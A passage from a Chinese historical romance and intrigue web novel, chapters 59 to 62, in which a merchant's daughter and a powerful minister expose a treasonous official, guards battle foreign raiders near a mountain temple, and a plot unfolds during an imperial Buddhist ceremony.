“......你是说,他在书房深处建了一个混淆视听用的密室,然后在无人在意的外面,放置了真正的证据?”
“是。”也多亏她误打误撞躲到侧面,发现书房的书桌有与密室内书桌一致的机关。
她就说,自己不会空手而归的。
阮绮华抬起下巴,轻点一下周遭散落的信件。“这些应当够定他的罪了吧?那还等什么礼佛?这就进宫!”
59. 谁跟你自家人?
“轰隆——”
惊雷砸下,闪电撕开黑夜。小门打开,一辆马车低调地入了宫。
只着寝衣的景仁帝披头散发匆匆往暖阁赶,守夜的小太监拿着外披紧跟其后。
大雨将至,冬日的夜晚格外寒冷,他喘着的粗气团成了水雾,但他似乎感知不到。他推开暖阁大门,里面已经站着两个人。
“坐,都坐,不必拘礼。”景仁帝披着外衫,也不坐什么高位了,就近找了个板凳,与陆临渊坐在对面。
阮绮华眼看着这位高高在上的天家颇为自然风坐到离她不足二尺的地方。褪下了平日的威严的年轻男人打个哆嗦又搓了搓手,随后眼睛亮晶晶地看她与陆大人,她多少有些感叹。
这人平日里的天家威严难道都是装的?
正感叹着,突然景仁帝身子一凛,好像被夫子当众批了的学生,将方才随意的坐姿变得端正,连眉眼之间都正色起来。颇有些不自在地将敞开的领口紧紧盖上。“咳咳,那个......陆大人同阮家姑娘深夜造访,可是在柳家有何发现?”
陆临渊瞥他一眼,紧皱起的眉头这才散开。他道:“是。阮姑娘找到了柳春明与胡人的往来信件。”
阮绮华顺势将怀中的信件送上,“皇上,都在这了。”
景仁帝接过厚厚一沓信件,手上有些颤抖,他“这......”
他快速翻阅着手中的信纸,再次抬头时,半晌没说话,看向阮绮华的眼中是难以掩饰的复杂情绪。
阮绮华有些紧张,她的视线在景仁帝同陆临渊两人间游移。虽早有准备,知晓陆大人绝不是那般图财谋权的人,也隐约猜到景仁帝与陆临渊不是世人所说的那般水火不容,但这还是她第一次见景仁帝与陆临渊单独相处。
上一次见面,还是在青雀舫,景仁帝试探她是否可信。这一次......面前的少年帝王盯她半晌,有些内疚地开口:“柳春明为人谨慎,手段颇深。阮姑娘此行,必是九死一生。是朕......是我先前,冒犯了。”
一朝天子在向她诚恳致歉。阮绮华抿了抿唇:“为朝廷效力,臣女承诺过的,皇上肩负着万民的责任,谨慎些不为过。”
但她不计较,不代表没人计较。陆临渊刚刚舒展的眉头又蹙起来,在阮绮华看不见的地方,他甩给景仁帝一个眼刀:“冒犯?哼,你又干了什么好事?你莫不是忘了,在西郊围猎场上,你还是被阮姑娘从树上救下来的。”
被她从树上......救下来?
阮绮华沉默,在久远的记忆长河中搜寻到了一个拿着特制弓箭,随她一起猎到野猪,又在最后的危险关头拖走了她战利品的小文官。这么说来......当时她发现的景仁帝手上的伤疤,真的是他拖拽竹筐拽出来的?!
好啊,她说这小皇帝怎么突然改变了对她的态度,还立争要让她拿头筹!想到自己在青雀舫上受的苦,阮绮华默默磨了磨后槽牙。眼见着就要说点什么。
景仁帝慌忙开口:“陆大人......兄长!礼佛在即,我看我们还是说正事吧!有了阮姑娘手上的证据,柳春明这老小子通敌卖国的罪是跑不了了。”
兄长?阮绮华惊了一下,她猜到二人关系匪浅,不似外界所传。但她属实未曾想到竟好到如此地步,陆大人一个外姓官员,竟被景仁帝这样自然地称呼兄长。
陆临渊则冷哼一声,似笑非笑地看他一眼,“皇上如何能唤臣兄长,这不合礼数。”
景仁帝成年后,已经许久没叫过他兄长,如今这么叫,除了求饶还能是为什么。
“这怎么能是不合礼数呢,今夜只有自家人在此地,该是如何就是如何。”景仁帝脸上尽是狗腿与谄媚。
怎么就只有自家人了?阮绮华默默腹诽,怎的,这景仁帝是将她视作亲姐还是亲妹了。他以为给自己一个皇亲的头衔自己就会不计较了?
笑话!不过要是有个皇亲的名头,家里的生意应当会更好些。
阮绮华尚且不知自己的思绪飘到了何处,怒气已经消了一半。
陆临渊对景仁帝使了个眼神,意为:【回头收拾你。】
景仁帝会意,【兄长与嫂子不生气就好!】
“兄长有何补充?”
陆临渊缓缓道:“柳春明罪行已定,但眼下胡人的行踪未定,若是连夜将柳家捉拿,难保胡人狗急跳墙,混入市井中为害百姓。”
“若是能捉拿胡人,当着众位大臣的面,人证物证齐全,才最为稳妥。”阮绮华接话道。
数十公里外,京城西郊山顶,寒山寺。
今夜风雨颇大。
老住持站起身,看向窗外。
一个时辰之前,暴雨倾盆而下,本就漆黑的夜色被墨染地更加深沉。雨水冲刷着院中的菩提树,叶片被击打出连绵的声音。
扫地的小沙弥打着哈欠,竹扫帚有一搭没一搭地动作着。他走到老住持身后,问道“住持,今夜风雨这样大,还会有人来吗?”
“他会来的。”
小沙弥探出头瞧了眼外头的雨,又劝道:“住持,雨实在太大了,上山的路怕是被冲毁......”
“咚,咚。”
还真有人来啊?他们寺建得偏远,又在山顶,平日来礼佛的香客本就不多。再加新帝不信佛法,当朝官员见风使舵,连家中女眷的诵经都不许明目张胆,他们这寺庙已经许久没有这样多访客了。
小沙弥放下扫帚要去开门,住持却先他一步动了身。“你先回去休息吧。”
“大人快请进。”住持将人迎进里屋,合上门页时颇为警觉地朝四周观望了几眼。
烛光下,男人解下身上的蓑衣搭在门后。“玄清方丈,还有一个时辰,礼佛的轿辇将会从玄武门出发。您知我来意,为了大雍的江山,烦请您全力相助。”
“那是自然。”住持玄清面色诚恳,“柳春明通敌卖国,眼下有机会提供助力,我寒山寺义不容辞。”
“多谢住持。”男人躬身拱手,外敌已至,深扎在朝堂之下的蛀虫即将被连根拔起。他们都知道今夜的谈话意味着什么。
烛光在暴雨下颤动,摊开拉长的人影。
不远处的山洞。
李一彦捏着衣角不停来回踱步,地上盘腿坐着的宋臻抬眼就看到摆动的衣角。
“行了,坐下吧。那帮胡人又飞不了,咱们在这盯着,总能耗到雨停,等雨停了,金吾卫自然能循着记号找上来。”
“万一张渡没能成功把信送出去,万一柳家那位又联合御林军做出什么幺蛾子阻拦了金吾卫呢?御林军统领,杜阳,已经叛变了!”
“杜阳?”宋臻沉吟片刻,似乎是好不容易才能想起来这是哪号人物,“是当年被你死皮赖脸求我宋家军收留教他射箭的那个?你身上的箭伤就是
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他造成的吧。”
无异于又被扎了一箭的李一彦默了一下,按住周遭其他金吾卫弟兄好奇的眼神,双手作揖对宋臻讨饶道:“看走眼这事小的真没想到,这会儿肠子都悔青了。宋大小姐您就别提当年了成吗?”
“现在要紧的是,咱们已经追了一天一夜了,好不容易追到了跟前,这破雨把援军都困在了山下,陆大人来信,明日一早就要礼佛,咱们再不赶在礼佛之前将胡人拿下,这祸乱就真坐实了。”
当日对上丘林轩三人,他们尚且可以以人数优势取胜。若是真让他们这几个人对上胡人大本营那几十位......李一彦同宋臻对视一眼,彼此心中都知道是个什么惨烈的后果。
“行了,莫要如此紧张。柳春明那边有陆大人坐镇,不会出大乱子,张渡送信一事应当稳妥,金吾卫的援军八成已经在山下等待时机。退一万步说,就算你金吾卫上不来,将军府的人总会意识到不对,那我宋家军总是能上来的。”
宋臻的语气轻快,话语之间再无半分对于要抓紧捉拿胡人的急躁感。
李一彦总觉得他俩像是掉了个个,“为何你这会儿又不着急了?先前不是为了寻个胡人,急得路都走不稳?”
宋臻笑道:“人都找到了,我们也已经在此处守着。马上便是见分晓的时刻,临到阵前最忌讳心焦气躁,李副使,你这心态还需同陆大人再学习一番。”
一众金吾卫点头称是,只有李一彦这位被点名批评的有些气结。
山洞外大雨滂沱,宋臻起身走向洞口,遥遥看向远处。
皇城,东暖阁。
“皇上,您怎么在这儿呢?该更衣出发了。”冯保端着烛台走进来,他有些担忧地看向独坐窗前的景仁帝。“您这是一宿没合眼啊!皇上,山路难行,路上颠簸不好休息,您看可还要再回寝殿歇会儿?这会儿外头雨大也不好走,咱们迟些走,一会儿雨小了,让下面的人脚程快些也无妨。”
“不必。”景仁帝抬手,他转过身来,否决了冯保的提议。冯保这才发现,这位年轻帝王方才背影的颤抖似乎不是因为寒冷,而是因为兴奋。一夜未眠,景仁帝的眼睛却亮得惊人,“立即叫人进来服侍朕更衣,手脚麻利些,朕要踩准吉时进山!”
“是,皇上。”冯保应下,很快一群宫人鱼贯而入。
“皇上,还有一事。”
“说。”
“容妃方才又闹起来了。”
“哦?今日闹的什么?”景仁帝眯着一只眼睛,宫人正在给他梳洗,透过布帛,他的声音辨认不出喜怒。
自那夜宣见后,容妃就被禁足在她的宫里,日夜撒泼打滚地闹,一会儿称心绞痛,一会儿称梦魇。太医瞧了几次,都说是心病。冯保知道自己本不该在这个节骨眼上提起,但容妃今日闹得格外厉害,底下的宫人按都按不住,他也不知该如何是好。“容妃称她梦见了御林军首领,杜阳。又说要见您,说她什么都听您的。皇上,近日里下人都传遍了,说容妃......”
“说容妃什么?”“说她疯了。”
景仁帝冷哼一声,大声道。“疯了?呵!恰好,礼佛诵经最是洗涤心境,冯保!”
“奴才在。”
“命人给容妃梳洗整齐,一刻钟后,让她同朕一同前往寒山寺!”
“是。”时间颇紧,冯保躬身应是,然后立刻将指令吩咐了下去。
60. 临渊心意不变
吉时已到,宫门大开。
奏礼乐的队伍在前开路,华贵的轿辇从后方缓缓抬出。宣武门外黑压压跪着的文武百官在冯保的宣告下起身上马,紧紧跟随在队伍后方。
江南巡抚阮富明骑马走在百官队伍中间,时不时探头东张西望,显得有些焦躁。
赵尚书用同样肥硕的马儿硬生生挤开了两层人,行至与阮富明并排处问道:“今日是礼佛的大好日子,阮大人如此不安,所谓何事?”
一面说着,赵尚书一面朝着轿辇的方向挤眉弄眼,阮富明顺着瞥过去一眼,直直对上了轿辇旁钦天监监正不善的眼神。
意识到自己此番举动有不满之嫌,他赶忙收回了乱瞟的视线:“多谢赵大人提醒,我对礼佛之事无有不满。只是雨天路滑,对周遭环境忍不住多观察些。”
“原来如此,阮大人果真心细如发。”赵尚书恍然大悟似的,爽朗笑道。
阴冷倨傲的视线又停留了好一会儿才挪开。
阮富明低声向赵尚书谢过。“多谢大人提醒。”
“区区小事,不足挂齿。只不过,阮大人今日要多注意些才好。”赵尚书压低了声音。
阮富明默默收敛了视线,昨日傍晚,他收到华儿放在房门口的信件,上头说她会与今日礼佛的队伍一起前往寒山寺,让他跟夫人不必担忧,她一切安好。
但他如何能放心,华儿已经数日不曾回府了。阮富明忍不住握紧缰绳,眉头也紧锁起来。
赵尚书用被挤成眯缝的眼睛机敏地看了眼周遭,然后对阮富明道:“阮大人,钦天监联合柳家,对礼佛颇为重视,你看这队伍,四面八方都是钦天监的人。监正那个老东西更是恨不得贴身跟在皇上身边。我知你担心什么,昨夜陆大人遣了人来我府上,他托我给您捎句话。”
“什么话?”阮富明问道。
“临渊心意不变,请阮大人放心。”
“还有吗?”“再无别的了,就这一句话。”
......哼。
阮富明含糊地哼了一声,他想起了那个日头很足的午后。享有凶名的年轻权臣提着一宝箱的家伙,恭敬地立在他书房门口求见。
彼时华儿刚刚从青雀舫遍体鳞伤地回府,他在气头上,口不择言地当着文武百官的面将陆临渊劈头盖脸骂了一通。同僚均以为陆大人这样睚眦必究,必不会放过他,他也这样以为。
但在书房中低头认错的却是权势滔天的陆大人。“陆大人今日前来,有何贵干?”
......
男人垂着头,将匣子打开,里面的东西被他一件一件摆在桌面上。“这......”阮富明看着上面厚厚一沓田宅官契,有些反应不过来。他是商户出身,没人比他更懂这些地段的铺子的分量。
等等,陆临渊今日来,难道是要求亲?!
不行不行,他不过是给陆大人骂了一顿,对方这就要将他女儿整个端走,陆临渊竟狠毒如厮......他绝对不会同意的!阮富明眼冒凶光,手中的珠串差点给他揪断。
“晚辈才疏学浅,家底单薄,没有什么能拿得出手的东西,挑挑拣拣,全部家当拢合到一起,也只有这么几样。晚辈自知做的是刀口舔血的行当,给阮姑娘带来了伤痛,也给大人与夫人带来了担忧。此番求见,一面是为了求阮大人原谅,另一面,是想要向大人表达我的意愿。”
男人大概是有些紧张,讲到这里时似乎想扯出来一个笑,让自己显得和善些,但反复半天也未果,面对自己的僵硬,他只能懊恼地抿了抿唇。
“阮大人敏锐无双,应当早有意识......晚辈心悦令爱已久。”
完了,阮富明咬紧后槽牙。无力地闭了闭眼,真要来拱他的白菜了。
不行,他绝不会同意的!
“但晚辈此番过来,不是为了求您同意的。”
好啊,连长辈的意见都不用征求了?
“因为晚辈今日......不是为了求娶。这并不是因为晚辈不想担起责任,只是。”
陆临渊垂下眼眸,似乎说出后面的话对他是一种极大的折磨,他深吸一口气,接着道:“晚辈身中剧毒,恐,时日不久。绮华芳华正好,应与良人相配,相敬一生。临渊今日来,想让您与夫人放心。”
“若有朝一日,京城动荡,朝廷倾覆,还请大人相信,晚辈还在一日,便会倾尽全力护住绮华一日。”
那日的承诺还在阮富明耳边回响,他又如何能不明白今日的“心意不变”是何意。
阮富明长叹一口气,那日陆临渊走时,他听闻自家门童还挨了顿训。大抵是门童对陆大人打听求娶之事,被陆大人板着脸斥了一顿:“求娶需得长辈之言,我陆某一无高堂,二无近亲长辈,如何能这样上门求娶?你家小姐怎可经受这样的轻视?”
什么心意不变......陆大人说的什么意思?乔装成小太监的阮绮华躲在队伍中,摸不着头脑。
昨夜陆大人将她送回府上以后匆匆离去。她好不容易才在不引起他人注意的情况下溜进府里给爹娘传了信,然后更换头面混进了礼佛的队伍。又要避着钦天监的眼线,又要防着被人认出,眼下还给她出什么迷题呢?
真是......她摸摸胸口,陆大人送她的簪子还在里头。
闪闪发亮的簪子,她好久没有戴过了。今日事情一了,她立马将柜里大簪子大步摇全戴上,再让陆大人配着她去首饰行置办几箱新头面。天冷了,陆大人的衣裳也可以做几身新的。
这些日子可憋坏她了。
她垂着头,暗自想着,脚下慢了几步。“想什么呢?还不快跟上!”身旁的另一个小太监催促道。
“诶,是是是。”她一溜小跑,重新跟紧队伍。
又听那太监抱怨道:“真是不知道御林军那帮人干什么吃的,这么重要的日子,竟然才寥寥来了数个小兵,首领杜大人还告了病假缺席。这下好了,这些扛香火拿东西的累活都得我们来干。”
说着,那小太监又瞪她一眼,嘴上嘟囔了几句类似“偷奸耍懒的东西”“回去就禀告冯公公”之类的话。
阮绮华扫了眼周遭,确实,杜阳今日不在。
只有那日跟在杜阳身边溜须拍马的下属却缀在队伍后头。
礼乐,皇
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室,朝臣,还有以钦天监,御林军构成的护卫队,百余人的队伍浩浩荡荡地前进。
两个时辰后,总算到了寒山寺。
“寒山寺到——”
冯保高声宣告,惊起山间一片飞鸟。停了雨的天色仍旧阴沉,乌云盘旋在上空,压抑的气氛在众人心头挥之不去。
“皇上,寒山寺到了。”冯保弓起身,将景仁帝从轿辇中扶下来,容妃紧随其后。
寺庙门口,早已恭候多时的众僧人迎了上来,跪地高呼:“恭迎圣驾!”
住持玄清跪在最前,道:“皇上,按照钦天监的吩咐,寺里已经安排好了法师。”
“嗯,带朕进去吧。”景仁帝颔首,示意众人起身。钦天监监正眼尖地挤上前,“皇上,微臣在您身边给您探着路吧。”
景仁帝乜他一眼,脚下没动,对监正的殷勤不置可否。监正陪着笑,又道:“皇上,山上才下了雨,难免有些泥土碎石,微臣想着若是污了您的衣物,或是耽误了礼佛的吉时,都不大好。”
跟在后头抬着龙头香的阮绮华眯起眼,这人未免也太过急躁了,这样迫不及待吗?
“带路吧。”景仁帝挥挥手,道。
钦天监顿时喜形于色,“是。”他躬着身子侧抬起手,如同真正的内侍般堆着笑将众人带到了大殿的空地。
阴沉的天色下,穿着土黄色僧袍的干瘦法师闭着双目立在空地,他的身后放着巨大的鼎立的香炉。院中的树上挂满了黄底黑字的符箓,密密麻麻,随风哗啦地动。
这里不对劲。阮绮华踏进这个地方,便感到有一阵阴风扑面而来,裸露在外的肌肤上汗毛直立。
她望过去,只见那僧人已经睁开双眼,双手合十正朝景仁帝遥遥行礼:“见过皇上。”
“免礼。今日是何流程?”景仁帝道。后面的话是对钦天监监正说的。
“回皇上,其他都安排好了,您只需到了时辰,上香三柱,然后站在高台之上,随文正法师念完祝词便好。”监正低眉顺目,语气隐隐带着颤抖。
景仁帝颔首,而后朝后吩咐道:“冯保,还愣着做什么?叫人将香插上吧。”
“是。”冯保伸手一指,“你,你,还有后面那个,你们几个,将香给我插到香炉里去。”
“诶,诶。”被点到名的阮绮华顺从点头,她今日的来此,一个重要目的就是保护景仁帝。
她将帽檐压下,跟他人一起抬起龙头香,一步步迈上高台。
这台子搭得不稳健,抬着香走在上头,一步三晃。阮绮华蹙起眉,脚下艰难地维持着平衡。后面传来钦天监监正的催促,“手脚麻利点!磨磨蹭蹭做什么呢?耽误了吉时当心点你们脑袋!”
同行的小太监哪敢怠慢,当即噔噔噔地就要往香炉走。却被空地上的法师拦了下来,“施主莫急,这龙头香,还是应当由皇上来上,并亲自点燃。”
不行!阮绮华心头一颤,这台子搭得如此敷衍,若是景仁帝真上来,恐怕是中了钦天监的计。可她此时只是一个小太监,如何能出声阻拦?
风声呼啸,惊雷恰好砸下。干瘦的法师脸上被照亮。
61. 宋小将军
“你是说,他们好像发现我们了?”李一彦朝着一旁比划道。
在他身侧,另一棵树上的的宋臻面色冷峻地点了点头。
可是这怎么可能呢?
天光未亮,高大繁茂的树木几乎将二人的身影掩盖得滴水不漏。
为了防止出现被辨认气味的情况,他们俩已经抹满了青草碾成的汁。即便是草原上嗅觉最灵敏的狼,都不应该再能分辨得出来。
李一彦心里发毛,他看着远处正分食动物的胡人,无论如何也没法狠下心去相信对方真的已经发现了自己。
于是半是调侃半是自我安慰地冲宋臻比划道:
【不能吧,这要是都能发现,他跟真正的野狼】有什么区别?
后半句被僵在脸上。
伴随着叶片之间最轻微的风声。营地正中的那个异族少年咧开嘴,露出森森的虎牙。直愣愣地对准了李一彦的视线。
抓到你了,汉族人。(胡语)
什么?!
李一彦的瞳孔骤然紧缩。那异族少年连嘴边的血迹都尚未擦干,起身几个纵跃,刀光剑影呼啸而至,雪白的冷锋气势汹汹。他几乎能感觉到兽血的气息扑面而来。
“左前两组,冲啊!”宋臻抬手,一箭破空,刀锋被打得偏过一寸,刹那之间静止的树叶疯狂摇晃。
早已埋伏好的金吾卫率先从人群的斜前方冲出,胡人的大刀与金吾卫的长剑碰撞发出刺耳之声。
宋臻的反应比众人能想象的要更快,也许是上一次的对决给她留下的经验。她的神色沉稳,小臂肌肉却在一瞬间爆发,挽弓射箭一气呵成。
簌簌几声,箭雨的破空声不停,箭矢仿佛是某种指令,凡是他落下的地方,马上便会钻出一批又一批的金吾卫,让人烦不胜烦。人数与体型的劣势在李一彦与宋臻二人配合的指挥下被硬生生扳平。
无孔不入的箭矢如同跗骨之蛆一般,让丘林防不胜防。
该死!身形高大的胡人眼色赤红,怒发冲冠。【她在树上!】丘林厉声喊道。狼群一般的目光投射过来,打在宋臻身上。
丘陵万万未曾想到,宋臻的掩盖气息的功夫竟到了如此地步,不过两棵树的距离,他方才竟都没有丝毫察觉。
这是耻辱。
他的额角青筋迸发。
他在焦躁。
宋臻与李一彦对视一眼,他们绝不可能放过这个机会。李一彦一个错身,箭矢精准无误的静止飞来直直插入丘林的大腿。
噗呲一声,血花四溅,“啊啊啊!”
丘林愤怒地咆哮。疼痛刺激着他,让他的眼神变得血红。
他们怎能被这帮老鼠一样瘦小的汉人牵制住?!草原与风沙不会允许他们的战士再一次输给汉人!
李一彦绝不是盛怒的丘林轩的对手,幸好有宋臻稳定而持久的拉弓射箭做补充。
这样尚且能够勉强支撑......雨已经停了,只要等到援军抵达即可。宋臻与李一彦的脑海中闪现着同一个念头。
等等,视线为何在晃动?!
不可抵抗的摇晃让这一箭射向了偏离的方向。
脚下的枝干在摇晃,不对,是整棵树都在摇晃!
咆哮与怒吼冲上云霄,这一次,胡人不再躲避烦人的箭矢和偷袭的金吾卫,插入身体的箭矢被连根拔起,偷袭的长剑被刀阵劈开。
一力破十会。
他们竟以肉身为盾,以宋臻与李一彦所在的两棵树为中心,层层靠拢包围。
该死。以她的角度,应该将全局一览无余的。但李一彦一人难以抵抗全盛时期的丘林轩,她的注意力有了偏颇。
而这样的偏颇让他们陷入了绝对的被动——
数量本就吃亏的金吾卫没法砍开胡人的包围圈,一旦坠落,迎接她与李一彦的将会是最残暴的酷刑。
她十分笃定,底下那帮眼冒绿光的蛮子甚至会将他们撕碎分食。
树干的晃动愈发剧烈,这群崇尚着草原与沙漠之主的绝对的野蛮人,以摧枯拉朽的气势,将局面逆转。
密密麻麻的怒吼着的胡人仰起头颅,等待猎物入喉。
“啊!!”
箭矢在剧烈的晃动之下不断偏移,脚下不断打滑,可下坠是万丈深渊,这颗被冲击得晃晃悠悠的树,成了拉住二人性命的丝线。
丘林在这样的摇晃中笑得张狂肆意,不摇晃不但没有让他像对手一样小心翼翼,反而成了他脚下的戏台。
他在期待这出以活人为祭品的戏剧落幕,也期待拉着敌人性命的丝线在某一瞬间,“啪!”地一下断开。
丘林耳边挂着的银铃随动作叮当作响。“放弃吧,孱弱的汉人。”
一刀,正中李一彦大腿。“啊啊啊——”深可见骨的刀伤让李一彦的裤腿几乎瞬间被血液染透,他无法抑制地痛呼出声。
“什么声音?”
寒山寺西厢房,肤色苍白的权臣猛地睁开双眼。
声音是从后面的山上传来的。
那个方向......难道是?!
浑身的血液控制不住地向上涌,不祥的预感将他笼罩。
下一刻,从未有过的尖利的哨声以不可挡的锐利之势冲上云霄。仿佛要与之响应一般,以寒山寺为中心的鸟类鸣叫声此起彼伏地扩散至整个京城。无数簇火苗从这座天子之城的角落燃起,熊熊火焰从四面八方汇聚到同一个方向,剑指西郊!
不能耽误,绝不能耽误。
夜间的风与模糊的视线没能阻拦他分毫,陆临渊的手死死握住缰绳,马鞭被他甩得在空中飞舞。那是他过命的弟兄,也是他肩上的责任,李一彦还尚未娶妻,酒醉之后的赵九还念叨着想回中州老家见见老母亲,季明还想给妻子攒一套头面。
那是他的亲人。
尖利急促的哨声不断响起,京城内外的飞鸟簇拥着相随。
探子昨日来报,张渡分明已经进入了大理寺。早已集结好的人手为何迟迟未动?!是找错了方向吗?还是被何人阻拦了?
亦或者,是张渡难道反水......不,不可能。
陆临渊在脑中飞速思索着所有可能的情况,他几乎趴在了马背上,与夜间的每一缕吹来的风融为一体。
等着我,撑住,一定要等着我。我永远不会放弃你们。
“放开他!!!”宋臻的脑中空白僵直,她听见自己怒吼的声音从口中传出来,握着弓箭的手几乎要将薄薄的皮肤撕裂,勒出血来。
“这一刀,是还你的。”丘林朝
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宋臻高高挑起眉。意有所指。
他咧开嘴,手起,直视些宋臻的眼睛,又是一刀。
“这一刀,才是送给他的。”
刀锋划破皮肉,砍上骨血。血迹顺着枝干流淌下来,疯狂的胡人竟争先恐后地伸出舌头去舔舐。
李一彦几乎站不起来了。
是我害了他?不!!
宋臻目眦欲裂,抬手挽弓,三箭齐发,直冲丘林面门。
“你以为这样就能杀了我吗?愚蠢啊……”丘林意味不明地快速笑了一下,那是再讽刺不过的一个笑容。下一瞬间,他持刀的手高高扬起,却不是朝李一彦砍下,而是直接将大刀甩向了另一处树枝。
那是,那是宋臻的方向!
不可以。
李一彦本能地举起剑来,飞蛾扑火一般撑起身体,朝那柄致命的刀挡过去。
叮——清脆的撞击声响起。
挡住了!他呼出胸口的气。
当啷一声,长刀落地。
但随着长刀落地的声音,充满痛苦的吼声响起——
“不!!!”
天地之间,所有声音均静默了下去,只有宋臻撕心裂肺的怒吼。
以及她掩盖住的虚弱的,隐忍的呼痛声。
别看......
这一方小小的树林,只余下了坠落的身影。金色尾羽的箭矢深深扎入他的肩背,那张永远生动的脸随着坠落的风声缓慢地变形。
而他留下的最后一句话是,别看他。
记忆的画面随着他的下坠寸寸破裂。宋臻竟然笑起来。
这人真是一如既往地不成熟。
她最后一次抬手挽弓。
几乎倾斜的大树不受控制地轰然下坠。虚空中,宋家祠堂满门英烈温柔地将她托起。
噗呲。
熟悉的穿透血肉的声音。
那支箭穿云而出,一箭封喉。
银铃声戛然而止。那位从草原与沙漠并存之地远道而来的异族王子,瞪大双眼,瞳仁扩大。
树木与仇恨轰然倒地,砸出完美的空缺,然后是嘶吼的人群蜂拥而至。
宋臻闭上了双眼。
还好,砸下来的方向,恰好能为李一彦寻一处庇佑。
她爹杀了胡人的头儿,当上了大将军。
她也杀了胡人的头儿,死后应当也能追封个大将军。
不亏。
就是苦了李一彦,蠢货一个。还非要扑过去挡住那把刀,也不看看自己连站都站不稳,死了变成魂魄,也是个残缺的。
宋臻好整以暇地等待剧痛袭来。但是没有。
伴随着骨头断裂的咖嚓的声音,有人徒手接住了她。
谁这么不要命?不知道那么高的地方不应当伸手接人吗?怎么也该缓冲一下的。
她蹙起眉,却有些累,懒得睁眼。
“臻儿!!!老子杀了你们!!”
她听错了吗???为何听到了阿爹的声音?!陆大人不是说阿爹不是在家休整着,带着宋家军做别的任务吗?
私自离位这样是否会影响将军府的名声?
她有一搭没一搭想着,却听到了陆临渊的声音。
“休息一下,一切有我们。”
62. 不起眼的小太监
雷声大作,乌云缓慢地聚集到祭祀台正上方。
香炉的背后,巨大的佛像阖目而坐,金光暗淡。
“皇上,为了让佛祖看到您的诚心,这龙头香,恐怕还是得您还是亲自点上,比较妥当。”监正堆着笑,眼里却没有丝毫笑意,反而在白光的投射下,显得鬼气森森。
景仁帝不悦,自己却没有直接开口,一个眼刀丢给了冯保。
“监正大人,为表真心,亲自燃香在理,但将龙头香插入香炉这样卑贱的体力活计,还是让咱家手底下的人做了吧。皇上万金之躯,万一磕了碰了,咱家孤家寡人的还好说,监正的家眷妻小,怕是都......呵呵,佛祖在上,可不该说什么杀生的话。”冯保噙着笑,一副“我真心相劝,您莫要上赶着找死”的模样,对监正道。
在宫里摸爬滚打多年,论皮笑肉不笑,怕是少有人能比得过皇上身边最亲的大太监。
监正脸上全是难堪,被一个阉人指着鼻子咒妻儿,让他气得话都说不全。“你,你你你。”
冯保则完全视而不见,只用二指捏着拂尘,对台上的阮绮华二人道:“不快快动手,还等着皇上亲自来请你们吗?”
“是!”走在前头的小太监被针锋相对的场面震得有些哆嗦,只有阮绮华利落得应了下来,接着龙头香推着小太监往前走,三两下将香插上了炉。
手脚之快,让监正又是一阵不满。“那现在,便该请皇上上台准备燃香了吧!”
“合该如此。”景仁帝不再推脱,这就要迈步上来。黑压压的一片官员,上百双眼睛盯着这处,任何一点错漏都要被放大。
景仁帝仪态端方,少年帝王的脚下是沉着冷静。没人挑得出错漏来。
但意外总是来得猝不及防。
咚——沉闷的声音响起,那是重物砸在木板上的声音。
“奴才该死,奴才该死!”
“怎么回事?!”景仁帝停下了脚步,面前的太监双膝跪地,额头与木板重重碰撞,砰砰作响。
“奴才,奴才该死,方才不知为何膝盖一软,竟不自觉跪了下来。皇上,皇上饶命啊!奴才不是故意惊扰皇上。”
眼见这小太监脸色煞白得成了纸,嘴唇也哆哆嗦嗦说不出话,他身旁另一个小太监也跪了下来,“皇上,皇上饶命,此地的气势太盛,我们这些奴才福薄,如何压得住,他方才便是被这怒放的威压压弯了腿。皇上,实非奴才有意冒犯,求您明鉴啊!”
求情的太监揪着已经吓傻了的太监的领子,催促道:“快与皇上说明呀,方才是到底是怎的。”
“奴,奴才确实是福薄,求皇上饶奴才一命吧!求您大人不计小人过......”
“行了,都闭嘴!”景仁帝不悦地斥道。
“今日是什么日子,内务府的人不清楚吗?既然福薄,那就根本不应该出现在这台子上。好了,愣着做什么,还不赶紧滚下去!若是误了吉时,你有几个脑袋够朕砍的?”他朝着还在不断磕头的小太监斥道。
那小太监满脸是泪,得了大赦之令,几乎是屁滚尿流地真要滚下台阶。好在阮绮华手上一个巧劲,托了一把,“下去躲到冯公公身后!”手离开的瞬间,她快速而低声冲他道。
几乎是同时,景仁帝与阮绮华对视一眼,位置互换。监正的手高高扬起,临空挥舞一圈,高呼道:“吉时到!”
景仁帝大步迈上前,蹭地一下,火苗伴着缕缕青烟,从金色龙首尖端升腾起来。
烟雾弥漫之中,台下的干瘦的法师捻起了胸前的佛珠,念念有词。台上的景仁帝面朝着佛像,负手立于台上,随着法师庄严开口。
阴沉的天色几乎将他笼罩,穿过烟雾,愈发激昂的祷告与祈福声带来无形的压迫感。钦天监一众官员闭目一同祷告,跪地的官员们不敢抬头,皇帝身后,阖目的佛像静静盘坐。
所有人都如同入定般肃穆,只有一人,从略显宽大的帽檐放出视线,警惕注视着全场的一举一动。
这一方小小的祭台被卫队圈得严实。但阮绮华知道,她无法将景仁帝的背后安然交于他人。
那是什么?
她眯起双眼,右前方,一行带着面具,玄色长袍的人两两为伴,抬着几个奇怪的托盘,正在朝祭台走来。
阮绮华心中有异,这托盘上放的东西肚大口宽,连接处短短的内收一截,盖有双重,与寻常人家用来腌制青菜的坛子一般模样。但看大小,又足足有半人高,远超过寻常双唇瓮。
随着抬瓮人逐渐靠近,她竟闻见了丝丝缕缕,似有若无令人作呕的异味。
难不成是祭品?
可祭天分明改成了礼佛,而二者最大的区别莫过于,与佛祷告,是禁杀生的。
那么这坛中,到底是何物?
她浑身的每一根汗毛都紧绷起来,站在背对着那个方向的景仁帝看不到,她不能贸然打断景仁帝的祈福,这也意味着景仁帝没法及时叫停。
阮绮华蹙起眉,这台子有多摇晃,站在上头的她自己再清楚不过。若他们要带着那东西登上祭台,不管那是何物,都定会与这摇摇欲坠、纸糊的破烂祭台一同摔个粉碎。
可若他们不上来,她该如何应对这通体漆黑的巨型双重瓮内放的鬼东西?
更重要的是,若这翁内真有什么不该有的东西,那么堂堂天子,拥有龙气的堂堂天子,在与佛祖的沟通之中都出现不祥之兆,那么是否说明这天子......不该为天子?
“......大雍立国百年,历经玄宗,高祖......”
脚步声和沉重的呼吸声逐渐靠近,树上的红绸随风停而静止的一刻,阮绮华真正看清了那是什么——
朱红的符咒密密麻麻如锁链般遍布着瓮身,湿润的空气下未干的红色顺着瓮身一点点流淌。那是祭坛,真正的用来祭天的祭坛。
那样重的符咒,即便读不懂其中真意,都毫不影响外人感知到符咒的镇压之意。
一行一共七个双重瓮,七星连珠,这些瓮里面装着的,不可能是活物。
